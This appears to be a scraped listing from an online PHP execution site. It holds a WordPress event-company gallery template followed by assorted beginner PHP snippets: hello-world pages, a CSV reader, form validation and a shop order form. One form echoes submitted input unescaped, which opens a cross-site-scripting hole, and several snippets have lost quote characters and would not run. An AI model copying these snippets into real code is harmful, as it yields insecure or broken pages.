bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-xi" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-xi" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-14"> <div class="content"> <h2 class="hd-line text-center">MALL PROMOTION</h2> <div class="about-box"> <p> We value the resources of our clients, hence we go for mall based activities which are unique and have the potential to engage masses, keeping in view the brand objective </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-xii" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-xii" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-xii" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-15"> <div class="content"> <h2 class="hd-line text-center">BIRTHDAY CELEBRATIONS</h2> <div class="about-box"> <p> A birthday is not just about cutting cakes. To make it special we can cultivate numerous possibilities within the space of creativity, fun and froli </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-1" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-1" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-1" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-16"> <div class="content"> <h2 class="hd-line text-center">WEDDINGS</h2> <div class="about-box"> <p> Weddings are meant to be special and one shouldn’t compromise when it comes to wedding. Here we come to make the occasion memorable with our elaborate wedding services. </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-2" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-2" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-2" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-17"> <div class="content"> <h2 class="hd-line text-center">TECHNOLOGICAL EVENTS</h2> <div class="about-box"> <p> 270 degree watch out with led panels<br/> Set with led and 02 side screens<br/> 270 degree watch out with a screens and 20000 lumens projectors<br/> Set mapping/3d projection mapping<br/> 3d holographic<br/> Augmentative reality<br/> 360 DEGREE PANORAMA WATCH OUT </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-3" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-3" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-3" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> </div> </section> </div> <footer> </footer> <div id="myModal" class="modal"> <span class="close">&times;</span> <img class="modal-content img01" > <div id="caption"></div> </div> <!-- Google CDN jQuery --> <script src="<?php bloginfo( 'template_url' ); ?>/corporate_event/js/jquery.min.js"></script> <script src="<?php bloginfo( 'template_url' ); ?>/corporate_event/js/bootstrap.js" ></script> <!-- Page Scroll to id plugin --> <script src="<?php bloginfo( 'template_url' ); ?>/corporate_event/js/jquery.malihu.PageScroll2id.js"></script> <script src='<?php bloginfo( 'template_url' ); ?>/corporate_event/js/jquery.lighter.js' type='text/javascript'></script> <script> (function($){ $(window).load(function(){ /* Page Scroll to id fn call */ $("#navigation-menu a,a[href='#top'],a[rel='m_PageScroll2id']").mPageScroll2id({ highlightSelector:"#navigation-menu a" }); /* demo functions */ $("a[rel='next']").click(function(e){ e.preventDefault(); var to=$(this).parent().parent("section").next().attr("id"); $.mPageScroll2id("scrollTo",to); }); }); })(jQuery); </script> </body> </html>

https://goo.gl/sCWLRc

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

1234

<?php echo (int)(((290 - 287) * 100) / 290); ?>

lkjh

<!doctype html> <html> <head><link rel="stylesheet" type="text/css" href="productstyle.css"/></head> <body> <?php // open the products list in read mode (r) $file = fopen("products.csv", "r"); // read one line from the text file. assign it to a variable. // when fgets reaches the end of the file it will return FALSE and the loop will stop. while($line = fgets($file)) { //remove any extra whitespace from the start or end $line = trim($line); // split the line into an array of variables. $productData = explode(",", $line); $productID = $productData[0]; $manufacturer = $productData[1]; $description = $productData[2]; $price = $productData[3]; echo "<div class='productbox'>"; echo "<h3>$description</h3>"; echo "$manufacturer <br/> $$price <br/>"; echo "</div>"; } ?> </body> </html>

fsdfa

<?php namespace my\name; // see "Defining Namespaces" section class MyClass {} function myfunction() {} const MYCONST = 1; $a = new MyClass; $c = new \my\name\MyClass; // see "Global Space" section $a = strlen('hi'); // see "Using namespaces: fallback to global // function/constant" section $d = namespace\MYCONST; // see "namespace operator and __NAMESPACE__ // constant" section $d = __NAMESPACE__ . '\MYCONST'; echo constant($d); // see "Namespaces and dynamic language features" section ?>

tryy

<!DOCTYPE HTML> <html> <head> <style> .error {color: #FF0000;} </style> </head> <body> <?php // define variables and set to empty values $nameErr = $emailErr = $genderErr = $websiteErr = "; $name = $email = $gender = $comment = $website = "; if ($_SERVER["REQUEST_METHOD"] == "POST") { if (empty($_POST["name"])) { $nameErr = "Name is required"; } else { $name = test_input($_POST["name"]); } if (empty($_POST["email"])) { $emailErr = "Email is required"; } else { $email = test_input($_POST["email"]); } if (empty($_POST["website"])) { $website = "; } else { $website = test_input($_POST["website"]); } if (empty($_POST["comment"])) { $comment = "; } else { $comment = test_input($_POST["comment"]); } if (empty($_POST["gender"])) { $genderErr = "Gender is required"; } else { $gender = test_input($_POST["gender"]); } } function test_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } ?> <h2>PHP Form Validation Example</h2> <p><span class="error">* required field</span></p> <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> Name: <input type="text" name="name"> <span class="error">* <?php echo $nameErr;?></span> <br><br> E-mail: <input type="text" name="email"> <span class="error">* <?php echo $emailErr;?></span> <br><br> Website: <input type="text" name="website"> <span class="error"><?php echo $websiteErr;?></span> <br><br> Comment: <textarea name="comment" rows="5" cols="40"></textarea> <br><br> Gender: <input type="radio" name="gender" value="female">Female <input type="radio" name="gender" value="male">Male <input type="radio" name="gender" value="other">Other <span class="error">* <?php echo $genderErr;?></span> <br><br> <input type="submit" name="submit" value="Submit"> </form> <?php echo "<h2>Your Input:</h2>"; echo $name; echo "<br>"; echo $email; echo "<br>"; echo $website; echo "<br>"; echo $comment; echo "<br>"; echo $gender; ?> </body> </html>

yhhhg

<?php if(isset($_POST['SubmitButton'])){ //check if form was submitted $input = $_POST['inputText']; //get input text $message = "Success! You entered: ".$input; } ?> <html> <body> <form action=" method="post"> <?php echo $message; ?> <input type="text" name="inputText"/> <input type="submit" name="SubmitButton"/> </form> </body> </html> <?php $array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red'); $key = array_search('green', $array); // $key = 2; $key = array_search('red', $array); // $key = 1; ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php // 防御側の視点で $attackDeck = array(); $buffCount = array(); for($i = 0; $i < 10; $i++) { $attackDeck[] = array ( "attack" => 100, "attribute" => 1 ); } for($i = 0; $i < 10; $i++) { $buffCount[] = array( 'attribute' => 0, 'num' => 0 ); } $buffCount[5]["num"] = 2; // バフチェックぅ foreach ( $attackDeck as $key => $value ) { $attackDeck[$key]["isApplyBuff"] = true; } $attackDeck[1]["isApplyBuff"] = false; //var_dump($attackDeck); // ここからが実際の処理 foreach ($buffCount as $key => $value) { $num = $value["num"]; if (1 > $num) { continue; } if($num > count($attackDeck)) { var_dump("まちがたたた"); $num = count($attackDeck); } //var_dump(count($attackDeck)); $deckTmp = $attackDeck; foreach ($deckTmp as $keyAttribute => $targetDeck) { var_dump("チェックだ"); if(!$targetDeck["isApplyBuff"]) { // もうバフ対象外になっている者どもは除外するよ var_dump("とおったら"); unset($deckTmp[$keyAttribute]); // 配列は詰めない。 } } // ランダム // ランダムにとるよ $blockBuffKeyList = array_rand($deckTmp, $num); var_dump($blockBuffKeyList); foreach($blockBuffKeyList as $keyBlock => $valueBlock) { $deckTmp[$valueBlock]["isApplyBuff"] = false; } foreach ( $attackDeck as $key => $value ) { if(!empty($deckTmp[$key])) { $attackDeck[$key]["isApplyBuff"] = $deckTmp[$key]["isApplyBuff"]; } } var_dump($attackDeck); } ?> </body> </html>

PHP Code Run Here!

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

hello

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> #!/usr/bin/php <?php // loop through each element in the $argv array foreach($argv as $value) { echo "$value\n"; } ?>

hi my name

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

<html> <head> <title>BOB's Auto Shop</title> </head> <body> <form action="process.php" method="post"> <table> <tr> <

<html> <head> <title>BOB's Auto Shop</title> </head> <body> <form action="process.php" method="post"> <table> <tr> <td>Items</td> <td>Quantity</td> </tr> <tr> <td>Tire</td> <td><input type="text" name="tireqty" size="3"></td> </tr> <tr> <td>Oil Bottle</td> <td><input type="text" name="Oilqty" size="3"></td> </tr> <tr> <td>Sparkplug</td> <td><input type="text" name="sparkplugqty" size="3"></td> </tr> <input type="submit" value="Submit" size="6"/> </table> </form> </body> </html>

mmkkm

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

testanswer

